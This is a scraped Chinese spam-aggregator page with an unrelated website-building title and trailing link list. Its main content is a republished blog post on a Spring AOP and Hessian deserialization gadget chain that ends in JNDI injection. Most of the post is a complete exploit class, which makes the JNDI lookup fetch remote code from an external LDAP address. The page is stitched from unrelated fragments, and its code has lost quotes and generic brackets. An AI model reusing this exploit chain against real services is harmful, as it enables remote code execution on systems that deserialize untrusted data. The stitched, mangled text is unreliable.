当前位置: 首页 > news >正文

建网站那家好wordpress登陆失败

建网站那家好,wordpress登陆失败,新桥网站建设,长春网站设计长春网络推广目录 前言 简单分析 EXP 前言 前文#xff1a;【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客 前文里最后给到一条HotSwappableTargetSource利用链#xff0c;就是我们今天PartiallyComparableAdvisorHolder链子的前半段(触发恶意类的toString方法)#xf…目录 前言 简单分析 EXP 前言 前文【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客 前文里最后给到一条HotSwappableTargetSource利用链就是我们今天PartiallyComparableAdvisorHolder链子的前半段(触发恶意类的toString方法)故不再赘述。 多嘴提一句复现的时候记得jdk换成8u100以下的jdk8高版本不能执行远程文件打不了JNDI。 简单分析 简单给出前半部分的调用关系 HashMap#put - HashMap#putVal - HotSwappableTargetSource#equals - XString#equals - AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString - ... 接下来我们来关注省略号的部分发现接着调用了PartiallyComparableAdvisorHolder的advisor属性AspectJPointcutAdvisor的getOrder方法 跟进调用this.advice的getOrder方法这里是AspectJAroundAdvice#getOrder 跟进this.aspectInstanceFactory为BeanFactoryAspectInstanceFactory调用BeanFactoryAspectInstanceFactory#getOrder 跟进this.beanFactory为SimpleJndiBean调用SimpleJndiBean#getType 跟进调用SimpleJndiBean#doGetType 跟进name采用的是单例模式isSingleton为true进入if判断调用doGetSingleton 第一次进入的时候singletonObjects是不会有对应的jndi对象的所以进入else分支触发lookup从而完成JNDI注入 EXP pom依赖 dependenciesdependencygroupIdorg.springframework/groupIdartifactIdspring-aop/artifactIdversion5.0.0.RELEASE/version/dependencydependencygroupIdorg.springframework/groupIdartifactIdspring-context/artifactIdversion4.1.3.RELEASE/version/dependencydependencygroupIdorg.aspectj/groupIdartifactIdaspectjweaver/artifactIdversion1.6.10/version/dependencydependencygroupIdcom.caucho/groupIdartifactIdhessian/artifactIdversion4.0.66/version/dependency/dependencies 召唤计算器的神奇咒语 package org.Hessian;import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.sun.org.apache.xpath.internal.objects.XString; import org.apache.commons.logging.impl.NoOpLog; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectInstanceFactory; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJPointcutAdvisor; import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.jndi.support.SimpleJndiBeanFactory; import sun.reflect.ReflectionFactory;import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap;public class EXP {public static void main(String[] args) throws Exception {String jndiUrl ldap://124.222.136.33:1337/#aaa;SimpleJndiBeanFactory bf new SimpleJndiBeanFactory();bf.setShareableResources(jndiUrl);setFieldValue(bf, logger, new NoOpLog());setFieldValue(bf.getJndiTemplate(), logger, new NoOpLog());AspectInstanceFactory aif createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);setFieldValue(aif, beanFactory, bf);setFieldValue(aif, name, jndiUrl);AbstractAspectJAdvice advice createWithoutConstructor(AspectJAroundAdvice.class);setFieldValue(advice, aspectInstanceFactory, aif);AspectJPointcutAdvisor advisor createWithoutConstructor(AspectJPointcutAdvisor.class);setFieldValue(advisor, advice, advice);Class? pcahCl Class.forName(org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder);Object pcah createWithoutConstructor(pcahCl);setFieldValue(pcah, advisor, advisor);HotSwappableTargetSource v1 new HotSwappableTargetSource(pcah);HotSwappableTargetSource v2 new HotSwappableTargetSource(new XString(xxx));HashMapObject, Object s new HashMap();setFieldValue(s, size, 2);Class? nodeC;try {nodeC Class.forName(java.util.HashMap$Node);}catch ( ClassNotFoundException e ) {nodeC Class.forName(java.util.HashMap$Entry);}Constructor? nodeCons nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, table, tbl);//序列化ByteArrayOutputStream byteArrayOutputStream new ByteArrayOutputStream();HessianOutput hessianOutput new HessianOutput(byteArrayOutputStream);hessianOutput.getSerializerFactory().setAllowNonSerializable(true);hessianOutput.writeObject(s);hessianOutput.flush();byte[] bytes byteArrayOutputStream.toByteArray();//反序列化ByteArrayInputStream byteArrayInputStream new ByteArrayInputStream(bytes);HessianInput hessianInput new HessianInput(byteArrayInputStream);hessianInput.readObject();}public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {final Field field getField(obj.getClass(), fieldName);field.set(obj, value);}public static Field getField ( final Class? clazz, final String fieldName ) throws Exception {try {Field field clazz.getDeclaredField(fieldName);if ( field ! null )field.setAccessible(true);else if ( clazz.getSuperclass() ! null )field getField(clazz.getSuperclass(), fieldName);return field;}catch ( NoSuchFieldException e ) {if ( !clazz.getSuperclass().equals(Object.class) ) {return getField(clazz.getSuperclass(), fieldName);}throw e;}}public static T T createWithoutConstructor ( ClassT classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);}public static T T createWithConstructor ( ClassT classToInstantiate, Class? super T constructorClass, Class?[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {Constructor? super T objCons constructorClass.getDeclaredConstructor(consArgTypes);objCons.setAccessible(true);Constructor? sc ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);sc.setAccessible(true);return (T) sc.newInstance(consArgs);} }
http://www.pierceye.com/news/288202/

相关文章:

  • 足球梦网站建设的基本思路沧州做企业网站
  • 招标建设网站什么是微信wordpress
  • 建设银行网站连不上成都网站快照优化公司
  • 网站 永久关停 请示广州网站建设骏域网站
  • 个人建站模板外国网站翻墙怎么做
  • 保定网站设计制作公司有经验的中山网站建设
  • 免费网站建设那个好wordpress本地怎么上传服务器
  • 自己做的网站加载慢WordPress模板首页文件是啥
  • 教学网站建设网站建设岗位有哪些
  • 网站建设合同的验收表网页网站的区别是什么
  • 开福区网站建设中wordpress调用所有栏目
  • 网站建设的流程是什么意思青岛做网站公司
  • 什么网站有项目做中铁建设企业门户网
  • 网站域名商代理商安卓商店
  • 深圳中英文网站建设广州知名设计公司排名
  • 一个公司设计网站怎么做的蜜桃传奇免费网页版
  • 网络推广网站培训班有人用wordpress默认主题
  • 网站建设 后台南宁做网站方案
  • 在线制作插画网站网站建设有哪些公司
  • 合肥的网站建设剂屏自己可以做开奖网站吗
  • 官网设计比较好看的网站学校网站建设对教学的意义
  • 济南建站推荐企汇优见效付款毕设代做网站招聘
  • 泰然建设网站免费软件app下载大全正能量网站
  • 张掖市网站建设北京代理记账财务公司
  • 中铁建设集团网站网络公司手机网站
  • 站长工具是什么意思建设银行网站 开户行怎么查
  • 做简历模板的网站都有哪些wordpress是啥东西
  • 网站流量渠道湖州做网站优化
  • 汽车网站哪个好预付的网站开发费用怎么入账
  • 网站代管理哪个网站有介绍拿到家做的手工活